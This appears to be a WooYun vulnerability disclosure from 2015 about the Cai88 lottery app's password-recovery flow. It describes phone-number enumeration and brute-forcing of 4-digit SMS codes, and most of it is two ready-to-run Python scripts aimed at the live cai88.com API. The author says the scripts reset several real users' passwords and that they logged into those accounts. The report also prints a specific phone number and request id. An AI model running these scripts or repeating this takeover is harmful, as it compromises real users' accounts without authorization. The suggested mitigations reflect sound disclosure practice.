漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0107201
漏洞标题:彩88彩票验证码可以被暴力破解修改密码
相关厂商:彩88彩票网
漏洞作者: 晨曦遇晓
提交时间:2015-04-13 21:08
修复时间:2015-05-28 21:10
公开时间:2015-05-28 21:10
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-28: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
详细说明:
《彩88彩票》用户账号(手机号)可以被枚举,验证码使用4位数字,在半个小时内有效,可以被暴力破解。
apk详情:
apk : com.cai88.lottery, 340, 3.4.0, 彩88彩票
apkmd5: 290a988513e844e8613bd985444bdf99
证书 :
certmd5: 1c32e060715cf5a4fe15026f95b7090f
issuer: O=cai888.cn, OU=cai888.cn, CN=cai888.cn
subject: O=cai888.cn, OU=cai888.cn, CN=cai888.cn
客户端详情:
漏洞证明:
1、账号枚举:可以在找回密码时输入手机号,点击获取验证码的时候。通过返回的信息中的isCheck或者isHave是true还是false判断。
(1)如果手机号没有注册过,返回的信息:
{"status":0,"msg":"","addition"{"systime":"2015-04-10T14:26:53.1075831Z"},"model":{"isCheck":false,"isHave":false}}
(2)如果手机号注册过,则返回:
{"status":0,"msg":"","addition"{"systime":"2015-04-10T14:26:53.1075831Z"},"model":{"isCheck":true,"isHave":true}}
写的脚本跑了一下午,就搞出来几个:密码都已经被修改为test123
2、找回密码。
3、点击获取验证码时,服务器会返回一个id号,这个id将会和手机号、验证码一起返回给服务器进行判断验证码的合法性。
4、编写脚本,跑出验证码。
5、将此验证码输入,修改成功。
6、登录进去查看,只有一个哥们才中过5块钱,tc有黑幕吗。
修复方案:
设置验证码尝试次数,加长验证码长度,减少验证码生效时间。
1、枚举用户名代码。
#!/usr/bin/python
#coding=utf8
import json
import urllib
import httplib
import random
import requests
import time
import threading
def test():
while True:
phoneNo=random.choice(['186','189','156','187','134','151'])+''.join(random.sample('0123456789',8))
data={"mobile":phoneNo}
body=urllib.urlencode(data)
headers={"Content-Type":"application/x-www-form-urlencoded",
"User-agent":"Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Cai88Android/3.4.0",
"Connection":"Keep-Alive","Accept-Encoding":"gzip","Content-Length":"18"}
rtime=int(time.time())
url="http://cai88.com/api/ForgetPwdCheck.action?r="+str(rtime)+"&version=1.1&tid=816&tyid=2&clientver=3.4.0&imei=355533057560238"
httpClient=httplib.HTTPConnection("cai88.com","80")
httpClient.request("POST", url, body, headers)
response=httpClient.getresponse()
rep=response.read()
#print rep
result=json.loads(rep)
print result
#print type(result)
a=result.get("model").get("isCheck")
print type(a)
if a:
print "test"
f=open("D://test.txt","a")
f.write(phoneNo+"\n")
f.close()
if __name__=="__main__":
t=threading.Thread(target=test)
t.run()
2、暴力破解验证码。手动修改id和手机号。
#!/usr/bin/python
#coding=utf8
import httplib
import json
import time
import urllib
import threading
httpClient=None
def test():
try:
for code in range(1000,10000):
codenum=code
params=urllib.urlencode({"id":"2755613","mobile":"15669743150","code":codenum})
print params
headers={"Content-Type":"application/x-www-form-urlencoded",
"User-agent":"Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Cai88Android/3.4.0",
"Connection":"Keep-Alive","Accept-Encoding":"gzip","Content-Length":"39"}
httpClient=httplib.HTTPConnection("cai88.com",80)
httpClient.request("POST","http://cai88.com/api/ValiCodeAssert.action?r=1428636286762&version=1.1&tid=816&tyid=2&clientver=3.4.0&imei=355533057560238",params,headers)
response=httpClient.getresponse()
req=response.read()
result=json.loads(req)
#print result
if result.get("status")==0:
print codenum
break
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()
if __name__=="__main__":
t=threading.Thread(target=test)
t.run()
版权声明:转载请注明来源 晨曦遇晓@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝